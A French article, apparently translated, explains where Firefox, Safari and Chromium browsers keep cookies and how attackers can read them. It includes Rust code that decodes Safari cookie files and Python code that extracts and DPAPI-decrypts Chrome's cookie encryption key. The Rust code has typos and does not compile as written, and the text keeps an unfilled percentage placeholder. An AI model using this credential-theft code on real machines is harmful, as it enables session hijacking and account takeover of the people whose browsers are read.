Quand vous entendez “cookies”, vous pensez probablement aux délicieux cookies aux pépites de chocolat. Cependant, les cookies web fonctionnent de manière assez différente de leurs homologues cuits et friables. Les cookies de site web sont de petits morceaux de données, généralement enregistrés dans une base de données, que les sites web transfèrent sur votre ordinateur ou appareil mobile pour enregistrer des données et des informations vous concernant. Ils permettent aux sites d’identifier les utilisateurs et de se souvenir d’informations utiles pour améliorer leur expérience.
Avez-vous déjà mis des articles dans un panier d’achat en ligne, et même si vous avez quitté le site, ces articles sont restés en place lorsque vous êtes revenu ? Merci aux cookies. D’autres commodités quotidiennes incluent ne pas avoir à se reconnecter aux sites et conserver des paramètres personnalisés.
Les cookies peuvent également être utilisés pour enregistrer des informations sur les sites que vous avez visités, donnant ainsi aux entreprises publicitaires plus de données pour faire de la publicité sur les produits qui correspondent à votre style de vie. Une autre utilisation des cookies est la conservation de sessions. Connaissez-vous la case à cocher “Se souvenir de moi” ? Lorsque vous la cochez, le site web sait qu’il doit enregistrer des cookies sur votre ordinateur qui indiqueront plus tard qui vous êtes et vous permettront de naviguer sur le site sans avoir besoin de vous reconnecter à votre compte, sauf si les cookies ont expiré.
Eh bien, presque tous les autres sites web utilisent des cookies. Selon W3Techs, en date du 24 juin 2024, [insérer le pourcentage ici] des sites web utilisent des cookies, avec certains des plus grands fournisseurs inclus dans cette liste, tels que Google, Facebook, Microsoft et Apple.
Les cookies sont utilisés pour enregistrer des informations sensibles sur les utilisateurs, et certains cookies sont utilisés pour enregistrer l’identité de l’utilisateur en sauvegardant la session, de sorte qu’ils n’ont pas besoin de se reconnecter. Ainsi, il est surprenant de découvrir à quel point les identités des utilisateurs et les informations sensibles peuvent être volées aux utilisateurs en raison de la manière dont les cookies sont stockés sur la machine. Cette section explorera comment deux des navigateurs les plus utilisés stockent les cookies.
Commençons par la manière dont Firefox stocke les cookies.
Comme écrit précédemment, les cookies sont de petits morceaux de données, et les données peuvent être enregistrées dans des bases de données. Ainsi, avec cette idée en tête, Mozilla, la société qui fabrique Firefox, a décidé de conserver les cookies dans une base de données SQLite.
Le fichier de base de données est enregistré dans %APPDATA%\Mozilla\Firefox\Profiles\\cookies.sqlite
où la valeur du cookie est conservée sous forme de texte clair (figure 1).
Figure 1 - Le fichier cookies.sqlite, avec des cookies en texte clair, affiché dans SQLiteStudio
Firefox a également l’option de supprimer les cookies lorsque le navigateur est fermé, ce qui rend plus difficile pour les attaquants de voler des données.
Contrairement à Firefox, Safari stocke les cookies dans un seul fichier binaire avec son format de fichier .binarycookies
. Le fichier (ou parfois les fichiers) de cookies peut être situé dans ~/Library/Cookies/*.binarycookies
et ~/Library/Containers/com.apple.Safari/Data/Library/Cookies/*.binarycookies
.
Lorsque vous essayez de lire ce fichier, vous verrez qu’il n’est pas aussi facile de l’ouvrir avec un visualiseur de base de données, et il doit être décodé pour le rendre lisible par l’homme.
Figure 2 - Cookies.binarycookies dans un visualiseur hexadécimal.
Pour lire les cookies à partir du fichier, nous utiliserons la caisse de rouille binarycookies
, conçue pour décoder les fichiers .binarycookies
de Safari.
use binary_cookies::BinaryCookiesReader;fn main() {let target = String::from("/Users/user/Library/Containers/com.apple.Safari/Data/Library/Cookies/*.binarycookies");let mut dec = BinaryCookiesReader::new(&target).unwrap();let _ = d.deocde().unwrap();for pages in d.origin_pages() {for cookie in pages.cookies() {println!("{} | {} | {} | {}", cookie.domian_str(), cookie.name_str(), cookie.value_str(), cookie.http_only);}}}
Code Block 1 - Code Rust pour décoder le fichier .binarycookies
Nous pouvons lire les valeurs des cookies après avoir exécuté ce code et les avoir enregistrées dans un fichier. Comme vous pouvez le voir, comme dans le cas de Firefox, Safari stocke ses cookies en texte clair.
Figure 3 - Cookies.binarycookies décodé et visualisé dans TextEditor.
Cette section concerne Google Chrome mais est valable pour tous les navigateurs basés sur Chromium, y compris Chrome et Microsoft Edge.
Les navigateurs basés sur Chromium adoptent une approche similaire, mais légèrement différente, à celle de Firefox en ce qui concerne le stockage des cookies. Lorsque vous utilisez Chrome ou tout autre navigateur basé sur Chromium, les cookies sont enregistrés dans une base de données SQLite, similaire à Firefox. La base de données (pour le profil par défaut) est enregistrée dans le dossier de l’utilisateur %LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
. Cependant, contrairement à Firefox, Chrome chiffre les valeurs des cookies pour offrir une certaine protection contre le vol de cookies.
Figure 4 - Le fichier Cookies, avec des cookies chiffrés, affiché dans SQLiteStudio.
Cette protection contre le vol de cookies dans les navigateurs basés sur Chromium a été mise en place depuis la version 80 de Chromium. Les cookies stockés dans la base de données “cookies” lors de l’utilisation de Windows sont chiffrés à l’aide de AES256-GCM
, un algorithme de chiffrement symétrique. Ainsi, avec la clé de chiffrement, on peut décrypter les données et récupérer la forme originale du secret, qui, dans notre cas, est le cookie.
Heureusement pour nous, la clé de chiffrement est stockée dans un autre fichier que Chrome enregistre sur le disque, appelé Local State
, et situé dans %LOCALAPPDATA%\Google\Chrome\User Data
. Pour obtenir la clé de chiffrement, nous devons analyser ce fichier et extraire une chaîne base64, qui est la clé de chiffrement, chiffrée. Cette forme base64 encodée de la clé chiffrée est enregistrée dans un fichier JSON
sous le nom encrypted_key
.
Figure 5 - La clé de chiffrement chiffrée est enregistrée dans le fichier Local State
.
Après avoir récupéré la chaîne base64 de encrypted_key
, nous devons la décoder et la déchiffrer en utilisant la fonction de déchiffrement DPAPI de Windows (sur la machine de l’attaquant).
def get_encryption_key():local_state_path = os.path.join(os.environ["USERPROFILE"],"AppData", "Local", "Google", "Chrome","User Data", "Local State")with open(local_state_path, "r", encoding="utf-8") as f:local_state = f.read()local_state = json.loads(local_state)# décode la clé de chiffrement à partir de Base64key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])# supprime la chaîne 'DPAPI'key = key[5:]return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]